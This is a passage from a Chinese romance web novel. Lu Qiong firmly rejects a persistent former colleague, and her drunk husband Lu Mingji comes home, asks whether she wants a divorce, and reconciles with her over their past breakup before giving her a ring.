她就不信路琼没跟那人说过她已婚,那人还腆着脸追求,不是骚扰是什么? 路琼这几天就过着上班、回家这样两点一线的生活,期间两次被奶奶叫回家吃饭,奶奶趁陆明霁不在给她看过好多陆明霁小时候的照片。 脸上抹满奶油的、四仰八叉摔在地上的、还有一张他被一条罗威纳追,边跑边哭的正脸照。 奶奶说这张照片陆明霁和左柯让两兄弟一人一张,陆明霁小时候被彭靖驰撺掇着去招惹隔壁那条罗威纳,他长大后就去撺掇左柯让干这事儿。 就,是兄弟就必须有一样的黑历史。 路琼去两次,扫描完两本相册的照片存到手机里。 陆明霁被爱包围着长大,他每个年龄段都有许多照片记录,她还有很多本相册没有扫描完。 不过来日方长。 她有的是机会。 赴约周之浔那天,并非她本意,是周之浔堵到尚嘉门口,她不得不应。 到一家环境优美的西餐厅,里面除服务人员之外再无其他,被周之浔包场。 一进门,就有服务生送上一束玫瑰。 路琼没接,径自掠过那束花,就近在一张餐桌坐下。 服务生为难地看向周之浔,后者说没事,并示意他们可以上菜。 周之浔拿过那束玫瑰,走到路琼旁边:“这张桌子位置不好。” 他后指一张中间桌位:“那里能看到的夜景更好。” 路琼不顺周之浔的意,不受他摆布:“不用,我不喜欢看夜景。” 她开一下午会,口干舌燥,找服务生要一杯苏打水。 周之浔随她,拉开她对面的椅子坐下,玫瑰放在桌上推过去:“当众拒收,这么不给面子的吗?” 路琼对那束玫瑰视若无睹:“我拒绝就是不想要。” 她坐得端正,双臂环胸,一侧卷发垂在胸前,语气冷硬:“我不想要你还天天送,你没顾及我的想法我为什么要顾及你的面子。” 唐慕芮曾比喻过路琼是变异版树懒,对什么都淡淡的,只是没有树懒那么傻呆慢,大学四年605三人没有一个见到过路琼生气、发飙,她好像天生就没有过激情绪。 出国后结识葛晚棠,她也纳闷过路琼怎么只会在工作上有喜怒哀乐,生活里一点七情六欲都没有。 但那只是没触碰到路琼的底线,没有损害到她切身利益,没有伤害到她重要的人。 一旦涉及到这些,路琼也会翻脸捍卫。 初上任那天,茶水间的窃窃私语她不追究,是那几句话还不够给她挠痒痒。 现在周之浔已经踏过她底线,她不会再念旧情。 周之浔第一次见到这样尖锐的路琼,稍怔,又露出笑:“你这么对过陆明霁吗?” “他不会做我不喜欢的事情。” 苏打水端上来,路琼抿一口,冰凉液体顺滑进胃里,浇灭些她的火气。 “你到底喜欢他什么。”周之浔后靠在椅背里,锐利的眼睛盯着路琼:“路琼,我不比他差,他能给你的我也可以。” “但你不是他。”路琼斩钉截铁,她握着玻璃杯,涔涔水珠浸湿她掌心,她松开手,抽张纸巾擦干:“比陆明霁优秀的人或许有很多,可在我这里没有人能比得上他。” 她说:“你给的不是我想要的,我已经和陆明霁结婚了。” 周之浔还是那句:“可以离婚,我不介意。” 路琼觉得他理解能力可能有问题:“我结婚了这句话不是拒绝你的一种托辞。” 她让周之浔别多想:“不是我对你有好感又碍于婚姻不能给你回应的意思,这是我对当下生活满意的一种表达。” 他们的争执并不大声,周之浔嘴角又始终扬着,路琼只有一个背影,看不出是在吵架。 服务生照常上菜,周之浔不会当着外人的面找难堪,暂时咽回嘴边的话。 路琼不是来吃饭的,她问服务生还有没有其他菜,服务生说有,路琼直说别上了。 场是周之浔包的,饭菜是周之浔点的,服务生犯难。 路琼不是真在乎饭菜,她是通过这一点摆出态度。 周之浔打个手势叫服务生下去,拿起醒好的红酒倒一杯:“有必要做这么绝?” 半分交情都不顾。 “你如果顾念旧情就不会在知道我结婚了还来打扰我。” 路琼不知道周之浔是什么时候喜欢上的她,她在他们的相处中试图寻找蛛丝马迹,无果,那就不再想,但她不懂周之浔喜欢她为什么不在她回国前表露心意,而是在她回国后,在知道她已婚后,才开启追求。 她这些天分析、揣摩过他的心理,她不想质疑周之浔的喜欢,每个人的真心都值得被尊重,只是他这份喜欢太不真诚,像是视她为他的所有物,给她划定一个他自以为是的界限,她还在界限内他就淡然处之,她踏出界限后他就要夺回她。 可是她从来就没有属于过他。 “学长,国外这几年很感谢你对我的照顾,也把你当作最好的朋友。” 路琼给自己也倒上一杯红酒:“我很爱陆明霁,以前说不想结婚是因为还没做好回国来找他的准备,我很喜欢现在的生活,不希望任何人来打破。” 红色酒液滑进高脚杯里,倒满三分之一停手,她拿起杯子与周之浔那杯碰一下:“我也很感谢你对我的喜欢,但我永远都不会给你回应,我知道你是个及时止损的人。” 路琼喝完那杯红酒,高脚杯倒扣在桌面,起身:“先走了。” 路琼背影坚韧清挺,步伐果断利落。 似是从不会为谁停留。 一如周之浔初见她时的模样。 路琼走到门口,服务生为她推开门,她道声谢谢。 待她身影隐没在拐角,周之浔收回视线,一口喝完那杯红酒。 服务生踌躇上前:“周先生,其余的菜品您看还需要吗?” 女主角都甩手走人了,这场饭局还能进行下去? 周之浔脸上笑意不复存在:“不用了。” * 路琼是坐周之浔的车过来,没开车,她在道边拦下辆出租车回家。 街景纷杂倒退,看得人眼花缭乱。 四月中下旬的天气温度适中,路琼降下车窗,晚风舒适拂面,发丝轻扫过脸颊,她抬手别到耳后。 陆明霁出差已有一周。 很想他。 路琼是个会将想法付诸于行动的人,陆明霁的名字一浮现在心头,她电话就已经播出去。 响个五六声对面接听。 路琼有点委屈:“老公,你什么时候回来?” 第53章 你想离婚吗? 那顿饭后,尚嘉前台小姐姐没有再收到过玫瑰花的签收单,常来送花的快递员也没再出现。 追求者一事告一段落,路琼解决一大隐患,就专心忙尚嘉五十周年事宜,边等陆明霁出差回来。 又去过一次奶奶家,扫描完第三本相册。 再收到周之浔的消息,是在路琼拿到定制戒指的那天。 他要回纽约,不出意外他非大事不会再来沪市,问她能不能去机场送送他,葛晚棠、Brody迟恒他们都会去。 周之浔的喜欢可能不纯粹,但是他们那些交情不掺杂其他乱七八糟。 朋友一场,路琼也想有一个圆满的句号。 从取到戒指出店,坐进车里,这一两分钟的空,路琼做好决定。 戒指妥帖放进包里,她拐道去机场。 路琼最后一个到场,葛晚棠他们都道别过一轮,吐槽她怎么这么慢,是不是不想来送。 路琼如往常那般喊冤说没有。 路琼和周之浔之间的事情,他们两个默契地藏在心中。 都是成年人,不会拉帮结派三三两两一个战队划清界限,而且路琼和周之浔也没有发生什么深仇大恨的事情,告诉葛晚棠他们倒是弄得谁都不自在。 快到登机时间,几人挨个拥抱过周之浔。 轮到路琼,周之浔张开双臂,无声征询她的意见。 别人都抱过,路琼不抱太突出。 何况她对周之浔就是平常心,不会避之不及将他划分到特殊人群那一类里。 坦荡从容地抱他一下:“起落平安。” 周之浔礼节性拍拍她后背:“祝你幸福。” 路琼那一番不留情面地剖析,周之浔想过反驳,可一张口却少点底气。 他身边不缺女人,就不会追求女人,这个不会有纯粹字面意义上的不会,还有他被捧惯了的自傲成分。 纵然路琼与众不同,他也没想过要为路琼破例学习,认为不需他多言,路琼就能懂他的心意,等到某个时机,他们就能水到渠成的在一起。 直到她回国,和别人结婚,他发现事情脱离他掌控,他开始慌张。 想要补救,为时已晚。 应该说,路琼从未给过他补救的机会。 他也没压根没入过局。 陆明霁没说错,他如果真那么自信,不会使用那么阴私的手段,无非是洞察到他们两个感情间的问题,从中作梗想趁虚而入而已。 这是最快、最能见效的办法。 遗憾的是,他没能成功。 他今年三十五岁,早就过了非谁不可爱情至上的阶段,不会再把爱情放在首位,路琼说得对,他是个及时止损的人。 看不到希望的事他不会浪费时间再争取。 在他心中,很多事都比爱情重要。 他低声留给路琼最后一句话:“我们还是朋友,有事随时联系。” 音落,他放开路琼。 目送着周之浔过完安检,四人打道回府。 五十周年庆典的日子逼近,尚嘉这段时间都在加班加点,一件事情叠着一件事情。 葛晚棠胳膊一抬,搂住路琼肩膀:“还有事么你,没事跟我回去写邀请函。” 葛爸下达指令,周年庆邀请函要手写才能彰显诚意,葛晚棠小时候练过毛笔字,这时派上用场,她一个人写到手腕发酸,写完一半猛然想起路琼也写得一手漂亮字。 路琼还真没什么事,就跟她回杂志社帮忙。 两人都不是拖延症,手头有事就要赶快解决,到杂志社一头钻进葛晚棠办公室,另一半邀请函都写完才停笔。 完事后葛晚棠犒劳路琼,说带她去吃顿大餐也是顺便犒劳自己。 陆明霁不在家,路琼回家一个人也是无聊,吃完饭俩人又找个清吧消遣。 没喝多少酒,一人一杯鸡尾酒,听着舞台上驻唱歌手唱歌,再跟着哼唱两三句,想到什么就聊什么。 待到凌晨十二点多,都有些困倦,就回家。 葛晚棠开的车,回去叫的代驾,先送路琼。 回到家,屋子里静到发慌。 陆明霁每次到家第一件事就是开灯,他不在,路琼就只开一盏落地灯。 回楼上主卧洗澡,热水淋到身上冲掉清吧里沾来的烟火气。 头发还是吹到半干,护肤时手机铃声响。 路琼拍打着爽肤水去床头柜查看,陆明霁不在这几天,路琼都是睡在他这边。 来电显示“老公”两个字。 她没陆明霁那么一板一眼,备注还是全名。 这是陆明霁走后,第一个主动打来的电话。 她心定不少,接起来:“老——”公。 被打断,赵言钊在听筒里面扯着嗓子叫喊:“嫂子你快下来接一接陆明霁,他要愁死我了!” 花两秒钟时间提取出陆明霁已经回国,且就在楼下的信息。 路琼说句“就来”,去衣帽间取件针织外套披上。 她有许多针织外套,都是黑白灰三色,陆明霁后来也给她买不少,色彩要鲜艳许多。 边挽着头发边下楼,电梯到达一楼,她一出电梯就见到楼外花坛边,一人站着一人坐着。 站着的是赵言钊,坐着的是陆明霁。 那么身高腿长一人,蜷坐在矮小的花坛围边石上。 隐在暗处,垂着脑袋,像只被雨淋湿、无家可归的猫猫。 路琼小跑着推门出去。 赵言钊看到她就是看到救星,噼里啪啦一顿控告:“他不知道抽什么疯,就非要坐在这儿不走,喝了点酒就跟头倔驴一样!” 路琼道谢:“辛苦你了。” 赵言钊摆手:“应该的。” 他略一沉吟,还是拽住路琼衣袖,想带她去边上悄悄讲点事情。 赵言钊这手刚碰到路琼袖子边缘,啪一声脆响响起,在深夜空旷的小区里,荡起阵阵回音。 陆明霁不知什么时候抬起头,那一巴掌拍就是他拍在赵言钊手背。 赵言钊我操一声,嗷嗷叫:“你怎么不打死我呢!” 陆明霁镶金的嘴巴封死,不讲话,又低下头。 路琼半弯下腰,伸出一只手递给陆明霁。 陆明霁撩起眼瞥瞥她,没什么表情,慢吞吞把左手放在她掌心。 赵言钊被刺得眼睛疼,心也被好兄弟的区别对待伤到。 他背过身点支烟,快要打火想起路琼还在,就把烟卡到耳朵上。 借着楼里灯光检查一下自己的手背,陆明霁那一巴掌没收力,他手背被抽出一个显眼的巴掌印。 拍照留作证据,等他醒来一定要索要补偿。 那边路琼揉揉陆明霁的掌骨,无声哄着他,站直身体,手还牵着陆明霁,朝赵言钊那边走两步:“怎么了?” 赵言钊扭头瞄一眼陆明霁,努努嘴:“还不是他。” 陆明霁在国外出差这事他们几个发小是知道的,但没人知道他什么时候回来。 今天是他去会所请人吃饭,吃完饭要走时被经理拦下,经理告诉他陆明霁也在,就一个人,在他们那间专属包厢里,要了好些酒。 经理不是事多的人,陆明霁要是正常去吃饭、去玩,经理不会闲得慌去关注他。 是陆明霁要酒要太多,经理才惦在心上,怕出什么事,犹豫要不要找易骏,恰好碰到赵言钊,经理清楚他们几人要好,那就找谁都一样。 赵言钊到包厢时,陆明霁已经喝空挺多酒瓶,他问怎么了出什么事了,陆明霁那嘴巴就跟涂过502胶水一样,闭得死紧。 赵言钊了解陆明霁,他不想说的事情谁都撬不开,就默默坐边上陪着他,等他喝够,再送他回家。 “感觉陆哥今天心情不太好,丧丧的。”很像他们刚分手后的状态,文艺点的形容就是只剩一副躯壳,灵魂不再,怕路琼不爱听,赵言钊吞回这个比方:“你们吵架啦?” 天地可鉴赵言钊真不是想八卦,主要是陆明霁上次喝醉求婚路琼他在场,这次陆明霁喝醉他送人回来。 见证的名场面一多,他对路琼和陆明霁的感情就有一份说不清的责任感。 “没吵。”路琼才舍不得跟陆明霁吵架,她哄他还来不及:“我大概猜到了,谢谢你送他回来。” 赵言钊懂事,听路琼这么说就止住再往下打探。 “那你们快上楼吧,早解决早好。” 路琼点点头,倒回陆明霁面前,捏捏他掌心,嗓音轻:“回家吗?” 赵言钊在楼下跟陆明霁较劲较有十多分钟,万分无奈之下才叫路琼下楼,不然他能直接给人送上去。 路琼就这么简单一问,他不抱陆明霁会听话的期待。 然而他这想法一起,长在花坛围石那人也还就起来。 路琼问他:“能自己走吗?” 陆明霁身体不动,嘴也不动。 路琼就将他一条胳膊搭在自己肩膀,搂住他腰:“你抱着点我。” 陆明霁就跟得到什么指令似的,人试探着一点点歪倒路琼身上。 两人就像亲密无间的连体婴,互相支撑着往楼里走。 赵言钊在旁边呆若木鸡。 盯着陆明霁虚浮的脚步,他搓搓眼睛。 刚才还能走直线堪比模特步的人,现在跟被抽出脚筋一样。 放佛没有路琼支着他,他随时都能瘫倒在地。 赵言钊在他们二人进电梯前思绪回笼,再次掏出手机,抓拍到一张二人的背影照,发到他们几个发小群里。 赵言钊:【你们知道陆明霁有多能装吗?】 还他妈干什么AI科研,进军娱乐圈才适合他。 影帝桂冠分分钟收入囊中。 * 上楼,到家门口。 路琼逗他,斜抬起头,鼻尖划过他下巴:“家门密码还知道吗?” 陆明霁极缓慢眨动两下眼睫,拇指去按密码。 路琼趁人之危:“这串数字到底什么意思?” 陆明霁不仅不说话,还抿起嘴唇。 路琼扶着他,不好亲,就用鼻尖再蹭蹭他:“陆明霁,有没有人夸过你很可爱?” 陆明霁言语系统终于开机,惜字如金:“你。” 路琼就笑,没多在楼道里逗留。 进屋后,她也没要求陆明霁换鞋,带他到沙发坐下,要去厨房给他冲杯蜂蜜水,脚下方向一转,手腕就被陆明霁攥住。 “我去给你冲蜂蜜水。”她解释:“一会儿就回来。” 陆明霁固执的不撒手。 路琼猜测:“是要跟我说什么吗?” 她屈膝,要在他腿边蹲下,被陆明霁阻止,他皱着眉头,扯着她手臂,按着她也坐在沙发上。 路琼想看着他,腿抬到沙发上并拢跪坐着,面向陆明霁。 反握住他的手,搁在自己腿上,还倾身亲他一下:“想说什么?” 客厅里只开着沙发旁边的落地灯,路琼搬进来前没有,是她搬进来后拉着陆明霁陪她去家具城添置。 陆明霁半边身体被落地灯的暖黄光束笼罩住,他扭过脸,在昏昧中望着她的眼睛:“你想离婚吗?” 第54章 哭 陆明霁这个问题超出路琼全部意料及所有设想。 她大脑空白一瞬,好半晌找回自己的声音:“你想离婚吗?” 陆明霁目不转睛看着她,眼里醉意朦胧:“如果你想的话。” 如果她想要离婚的话,就可以离婚。 主动权在她手上。 路琼理解出他想表达的这层意思,毫不含糊地摇头:“不要,我不想。” 陆明霁还是盯着她,似是在分辨她有无勉强,待分辨出个结果,他低低嗯一声,扭过头垂下。 路琼总想着时间在他们之间划下的裂痕就交给时间慢慢愈合,反正她已经将陆明霁绑在身边,总会有那么一天他们能和好如初。 可现在,他们好像都处在裂缝边缘,稍有不慎就会掉进深渊里,横亘在他们之间的问题亟待化解。 她手抚上陆明霁一侧脸颊,托起来,再次转向自己:“为什么会这么问?” 陆明霁脸被酒精烘得发烫,路琼掌心微凉,贴着他很舒服。 他状似不经意地活动,蹭蹭她手心。 路琼另只手也挨上他脸:“是因为周之浔吗?” 陆明霁上下嘴唇严丝合缝黏在一起,不是哑巴胜似哑巴。 路琼亲亲他:“能告诉我吗?” 陆明霁还是憋着。 不采取点极端手段估计是撬不开他的嘴。 路琼收回双手,人爬起来,一条腿迈下沙发,作势要走。 陆明霁按住她还摊在沙发上的外套下摆,仰视她:“去干什么?” 路琼肃着脸,放狠话威胁他:“我不喜欢不会沟通问题的人。” 陆明霁手背一痒,路琼没系好的腰带垂下,他垂眸攥住,小声反驳:“我不是。” 路琼仗着站姿比他坐姿高,居高临下:“那你告诉我到底为什么。” 陆明霁又低声一嗯。 他往掌心收拢着路琼的腰带,收到一半发现腰带会脱离她,又改回揪她衣摆,见她还站着不动,复又抬头:“我告诉你了。” “……?” 路琼先是懵,再想起他那一嗯,哑然失笑。 她就坐回去,一条腿还是保持踩在地上的姿势,另一条腿半盘着:“我跟周之浔就只是朋友,我把话都跟他说清楚了,我从来没有对他动过心,我喜欢的人只有你,在国外那几年想的也只有你。” 陆明霁眼睫一颤。 路琼抽出被他折磨得不成形的衣摆,换成自己的手塞到他手心:“你出差那晚他都跟你说过什么?” 陆明霁不想再提,可她的威胁余威还未消,他不得不听话:“他说你们一起过了很多节日。” 路琼猜到周之浔会怎么掐头去尾添油加醋,她澄清自己:“只要是一起过的节日,都是我们五个一起,或者他不在就葛晚棠我们四个,从来没有我跟他单独的时候。” 陆明霁在路琼的循循善诱下,渐渐打开话匣子:“你获奖,他为你庆祝。” “庆祝也是我们五个一起。”路琼承诺他,还像模像样举起三根手指并拢:“以后我还有很多次获奖的机会,我都留给你单独给我庆祝好不好?” 陆明霁说好。 路琼问他还有没有其他事情。 “你生病,是他在照顾你。” “这个没错,但是葛晚棠、Brody也都在照顾我。” 陆明霁拨弄着她的手指,沉默不语。 其实这些,他在左柯让发来的资料里都找到真相。 路琼在工作外的私下里没有和周之浔单独相处过。 周之浔那些颠倒黑白的说辞没有真正刺激到他。 他最介意的是,分手后的六年里他错过路琼太多太多。 她第一次获奖、她被刁难、她生病…… 他都不在。 路琼稍一思索就找到陆明霁的心结所在。 她又支起上半身。 陆明霁一惊,下意识握紧她的手,不要她走。 路琼被他拽的一个趔趄,倒在他身上,歪打正着符合她心意。 她扶着陆明霁肩膀,跨坐在他身上,说她没有要离开,就是想换个能抱他的姿势。 “我也错过你了你六年,那六年对我们两个来说都是空白的,但是没关系。”路琼郑重又诚挚:“我们以后还有很多个六年。” 分别的六年是很漫长,但他们还有一生的时间去弥补。 很多个六年。 陆明霁反复咀嚼这五个字,有被哄好一点:“你刚刚,说的都是真的吗?” 路琼点头:“当然。” 她答应的这么快,一看就是没有懂他在指什么。 陆明霁又不高兴了。 嘴角抿起。 路琼意识到她犯下错误,忙补救:“你指哪句?” 陆明霁不想理她。 又犯起公主脾气,路琼现在又找到新方法治他:“你不说我就走了。” 她话音还未落完,陆明霁原本瘫痪在沙发上装矜持的两条手臂就扶上她腰,路琼刚抬起一两厘米就被他按回他大腿上。 他别别扭扭地提醒她:“你说喜欢的人只有我,很想我。” “当然也是真的。”路琼疑惑眨眼:“你为什么会不信?” “……因为你总是这样。” 总是会讲很多很好听的漂亮话,哄得他晕头转向,他一开始全部信以为真,沦陷在她编织的蜜网里,以为她是像她说的那样喜欢他,可她后来一盆冷水泼给他,说那都是骗他的。 好话、狠话她都说过,陆明霁已经辨不出真假。 路琼第一次提分手,他没同意。 她就删除拉黑他所有联系方式,躲着他。 他只好用笨办法去她宿舍楼下等,路琼就搬出去住,不让他找到。 分手那年路琼大四,课都上完,忙着实习忙着出国事宜,她每天在干什么几个舍友都没告诉,就怕她们招架不住会透露给他。 在路琼单方面宣布分手的一个月后,他终于在学校图书馆门口堵到她,他嘴毒又笨,只有在怼人的时候巧舌如簧,或是在喝醉的时候讲些人话,清醒时不会说甜言蜜语,就只重复着一句不分手。 那时魏锦航他们都在,回来找教授咨询一些问题,他真的没有再在乎什么面子不面子,满脑子都是不要和路琼分手。 他搬出路琼常常表白他的话术,像是小孩子不懂大人怎么会出尔反尔,固执的要一个答案:“你说过会一直喜欢我的。” 路琼神情冷淡又有几分讥讽:“说说而已,而且我喜欢的是你的钱不是你,要不是看你有钱谁会搭理你。” 陆明霁从未见过那样的路琼。 她总是宠着他、哄着他,然后在某一天,那张说过我好喜欢你啊陆明霁、喜欢亲他的嘴巴能吐出那么锋利的刀子扎向他。 好。 没问题。 就像他跟傅文熙争论的那样,天底下有钱人那么多,路琼就只看上、只喜欢他的钱,四舍五入也就是喜欢他。 陆明霁说他可以给她很多钱,求她不要分手。 但是路琼笑他天真,说他是个依靠家里的米虫,他妈一声令下他就什么都没有,连温饱都不能保障,哪来的钱给她。 那个时候陆明霁处在创业初期,被他妈切断资金后,确实举步维艰。 泡面都恨不得一桶掰成两顿吃。 陆明霁从未被人那么打击过,也从未那么无力过。 所以路琼走后他拼命成长,再艰难都没想过向他妈低头认输,就是不想再被掣肘,无法给路琼一个她能安心满意的未来。 那六年里,他思考最多的问题就是路琼到底爱不爱他。 每想一遍,思念加重一层,恨意也就加深一层。 后来她回国,问他要不要和她结婚,她打着奶奶的幌子他勉强同意。 心里比谁都清楚,他只是需要一个能再接近路琼的台阶。 路琼当初走得那么决绝,把他贬低得一无是处,他不想表现的太廉价,她想走就走,想回来勾勾手他就哈巴狗似的凑上去。 领证后,他有在刻意回避路琼,一遍遍告诫自己不要再相信路琼那些花言巧语。 他真的对路琼没有基本的辨别力和自控力,他妈说他是傻白甜也没什么错,他就是会被路琼三言两语迷惑。 他安慰过自己爱不爱的不重要,他不钻牛角尖也不那么较真,糊涂一些无妨,只要路琼在他身边就好。 可是他生病发烧她跑去京北找他,送他红玫瑰,说要再追他一次,现在又说只喜欢他。 又一次被她攻陷成功后,他恍悟,他还是渴望路琼能爱他,哪怕只有一点点。 他不从不缺爱,出生就泡在蜜罐里长大,但是路琼的爱不一样。 他生命版图里就是有一角需要路琼的爱去填补。 家人不行,朋友不行,其他女人也不行。 只有路琼能做到。 “以前说会一直喜欢我,结果你还是不要我了。”陆明霁一字一顿说得极缓慢:“没有这样喜欢人的。” 他压着脖颈,垂着头,黑发柔顺遮在额前,路琼看不到他的表情,但是她随意放在陆明霁小腹上的手,啪嗒一下被什么东西砸到。 一滴温热水液溅落在她虎口,重量可以忽略不计,路琼却被砸得无法动弹,那滴泪浸透她皮肤,打湿她的心。 陆明霁第一次在她面前哭。 她也就是第一次知道,原来爱人的泪水具有这么强悍的穿透力。 只有黄豆大小的泪珠,却放佛在她心里降下一场暴雨。 将她整个人从头到尾淋透。 路琼说不出话,绕在陆明霁肩膀的那手去摸他脸。 他倔强避开,欲盖弥彰:“我没哭。” 还擦掉路琼虎口上那一滴。 “对不起。”路琼心像是泡在酸水里,酸胀到无以复加,她环抱住陆明霁:“对不起。” 她最初追陆明霁时,是有喜欢的成分在,但那种喜欢仅仅停留在他的外表。 她妈的例子在前,小老太太耳提面命要她守住心房,不要无脑爱上一个男人。 她会吸取她妈的教训,不动心只是体验一下恋爱的感觉。 恰好陆明霁长相对她眼缘。 于是就抱着这样不负责任的态度,想说什么就说什么,想碰他就碰他,随心所欲,从不考虑陆明霁的感受,会对他产生哪些影响。 但她忘记,她以身入局又怎么会全身而退。 她在蛊惑陆明霁的同时,也被他的反馈所打动。 以为一切尽在掌握,实际满盘皆输。 她想不出还有什么别的词语,只会重复这一句:“真的对不起。” 陆明霁眼眶又蒙上一层水雾,他闭起眼掩盖,嘴唇贴着她肩膀,嘟囔着他第二介意的事情:“那你现在,喜欢的还是现在的我吗。” 他总算能体会到彭靖驰他们有时被他怼到怀疑人生,想要撕烂他的嘴却又碍于法律,不得不憋屈在心的感受。 因为周之浔那晚刺激他时,他就很想这么做。 “为什么不?”路琼撤开一些,额头抵着他的额头:“这个问题又是哪里冒出来的?” “他说。”陆明霁连周之浔的名字都不愿提,怕污染到自己的嘴巴:“你喜欢六年前的我,不一定就喜欢现在的我。” “六年前的你、六年后的你都是你啊。”路琼斜额错开位置,亲亲他鼻尖:“那我也不是六年前的我了,你还喜欢吗?” 陆明霁撩起眼皮,浓密的睫毛蹭过路琼的睫毛,两人都痒痒的。 路琼双手捧住他脸,唇贴着他的唇厮磨两下:“那你还喜欢现在的我吗?” 陆明霁又被她引.诱,诚实地闷闷嗯一声。 很想亲她。 下一秒路琼就坐直,他视线不由自主追着她嘴唇跑。 路琼没注意到,都谈到这儿,索性将历史遗留都铲除掉,不能再有后患。 她旧事重提:“分手除了你妈妈的意思,也有我自己的意思。” 第55章 第一吻 陆明霁整个人一僵。 路琼感受到,抱他更紧,揉着他头发安抚:“因为那个时候我觉得我们分手,你妈妈就不会再打压你,你有家里支持创业会轻松很多。” 她袒露心扉,什么都诚实讲给他:“而且出国的机会对我来说非常难得,我不会为任何人放弃,所以我拿了你妈妈的钱跟你分手。” 毕业季就是离别的象征,好友断联、情侣分手,都是时间洪流里无法避免的事情。 路琼从山里走出来,她不会忘记初心,她还想再去更大的世界瞧一瞧。 可陆明霁正在创业,那是他最需要陪伴的时刻,她要出国的话就注定给不了他陪伴。 异国恋最是牵扯精力,时差、地域都会成为压垮他们的稻草。 既然早晚都会分手,那长痛不如短痛,省时省力,对他们都好。 处在人生分岔口的他们,已经成为彼此的拖累、负担。 陆明霁锦衣玉食长大,没为金钱发过愁,他不该因为跟她谈一场不被至亲同意的恋爱,被他妈逼迫到走投无路,硬要去吃他没吃过的苦。 路琼也要去看看那些她未曾见过的风景,同样都是活着,凭什么别人能享受到的生活她就不可以,她又不比别人差什么。 所以那个时候,路琼觉得没有对方的牵绊,彼此都会舒服好过一些。 “我没有要你放弃。” 陆明霁怎么会阻碍她变得更好,他虽然不能感同身受她受过的苦,但他会心疼她。 “可我不放弃,我出国后我们也一样会分手。” 出国的机会以后或许还会有,但路琼不敢赌,她从小的生活环境教会她遇到机会就要及时抓住,错过一次就可能是错过一辈子。 她势必要走。 “根本就不会。”陆明霁气她不动脑子:“你完全可以拿着我妈给你的钱再继续跟我在一起,她只说要你跟我分手又没要求一定分成功。” 再把那一千万分一半给他。 五百万不是小数目,当作创业资金来说也不算多,但再加上陆明霁自己投资的一些收入,他精打细算合理分配好,创业初期的困难持续不会太久。 “那样我就有空,有精力去找你了。” 空中飞人什么的,只要终点是她,他就不怕辛苦。 他没有怪过路琼收下傅文熙的钱,在他的爱情观念里,如果一个男人或者他背后的势力不能为爱人提供能使她进阶的帮助,那这个男人就是个只想白.嫖的废物。 他愿意倾尽他所有资源给路琼搭建登天梯,那是他爱路琼最起码的诚意。 他只是怪路琼丢下他。 他妈给她的钱,她收下,然后他们两个一人一半,日子还不是过得潇潇洒洒。 偏偏路琼死轴,收了他妈的钱就一定要分手。 阳奉阴违、暗度陈仓一个计谋都不会。 哄他的时候脑子那么灵光,遇到别的事情怎么就不会转弯。 “……” 这个角度太清奇,路琼六年来都没琢磨出来这么一个奇葩的解决办法。 她还是考虑很多:“那如果你妈妈知道后,不止钱,别的方面也为难你呢?” “我的作品足够好,就不会有人不要。” 陆明霁对他的实力充分自信,他项目做的牛逼,能给合作方带去巨大收益,而且他妈的手也不能伸那么长,能联合整个行业给他施压。 有很多种办法能走出困境,路琼偏选择一种伤人伤己的偏激模式。 陆明霁越想越气,气得醉意都散去几分,不想再给她抱,推她:“你离我远点。” 路琼才不会听他的违心话,他最爱口是心非,她要真离他远点,指不定又要怎么不开心。 搂他搂得愈发紧。 陆明霁倔脾气上来,一时半刻消不下去。 也愈发挣扎。 两人就这么一来一往的拉扯间,路琼膝盖蓦地硌到个什么东西。 她松懈制服陆明霁的力道,歪着脑袋往沙发缝里寻。 她一不动,陆明霁也就老实下来,怕真把她推开。 路琼探手,摸到一个四四方方的盒子。 她拿过来。 巴掌大的宝蓝色丝绒盒子。 路琼可太熟悉这是什么东西的包装,因为她包里就有一个,心跳渐快,她问陆明霁:“这是什么?” 陆明霁条件反射要摸兜,不知道它怎么就掉出来,但他忍住没动,醉意只剩一两分,那股傲娇劲儿复苏:“不知道,不是我的。” 他不说,路琼就自己打开。 盒盖拨开,是一枚皇冠样式的钻戒,在落地灯光的照耀下折射出缕缕光芒,璀璨夺目。 路琼一秒喜欢上,从盒子里摘下来就往手上戴。 戒圈比她无名指要大,尺寸不合适。 她迷惘眨眼:“不是给我的吗?” 不是给她还能是给谁。 这个蠢死人的问题。 陆明霁劈手夺过,无语地剜她一眼,托着她左手掌,将戒指推进她中指。 尺寸正正好。 “婚戒不都应该戴在无名指?” 路琼弯弯中指,分量不轻,价钱也不会便宜,陆明霁送她的东西都是顶顶好,与她“钱在哪里爱就在哪里”的爱情观念相当契合。 陆明霁拿到戒指时没觉得戒指有多好看,此刻戴在她手上,才觉得戒指被赋予生命,多看几秒钟,淡声回她:“不是婚戒。” 正经婚戒还在制作中,得再等等。 这枚不过是他挑的略微简约一款,先凑合戴戴。 周之浔那个老东西说他结婚潦草,那是他没结过婚没定制过钻戒没经验不懂行,情感白痴一个。 定制钻戒都要工期,这款他上个月底就定下,也是等二十多天才拿到手。 “那这算什么戒指?”路琼说个用途:“配饰?” 陆明霁点头:“可以。” 他现在这态度…… 路琼将落在戒指上的欣赏目光转移到陆明霁脸上,狐疑打量。 他脸仅剩些微红色,眼神清亮不少,倒是还有点哭过之后的红血丝,睫毛湿连成一簇一簇,还蛮惹人怜爱。 陆明霁挑眉:“干什么。” 路琼后知后觉:“你刚刚,装的?” 陆明霁脸上极速划过一抹不自然,镇定否认:“没有。” “真的?”路琼盯着他眼睛,与他对视:“真的?” 陆明霁努力稳着心态:“我为什么要装?” 也是。 陆明霁偶像包袱那么重,是做不出来装醉卖惨博可怜这种毁人设的事情。 “你等等,我也有东西要给你。” 路琼撑着陆明霁肩膀站起来,踩上拖鞋跑向楼上。 陆明霁悄然舒一口气,闭上眼,屈起食指按按眉心。 他是真醉,没装。 陆明霁自知说话难听,有些事情清醒时打死他都说不出口,他是故意在会所灌自己酒。 就是没想到,他能酒醒这么快。 还以为要跟上次一样,睡一觉后才能好。 是他酒量变好了还是这次的酒不行? 易骏会所里的酒和李牧酒吧里的酒都一样。 大概率是被路琼气的。 醉意褪去大半,陆明霁想起他掉的那滴泪,尴尬又丢人。 哭戏真不在他计划之内,他就计划着好好聊聊,把结都聊开就好。 他小学二年级后就没再哭过,找人冒充他爸开家长会被他爸吊起来揍都没湿过眼眶,刚才就是没憋住,越想越委屈。 不是很想再在家里待着,可他又不敢真走。 在沙发上如坐针毡,在脑海里预演着路琼一会儿要是嘲笑他,他该怎么应对。 啪嗒啪嗒—— 楼梯那边传来脚步声。 路琼又跑回他身边,一回生二回熟地跨坐回他腿上。 她没搂着他,陆明霁怕她后仰摔下去,手护在她背后。 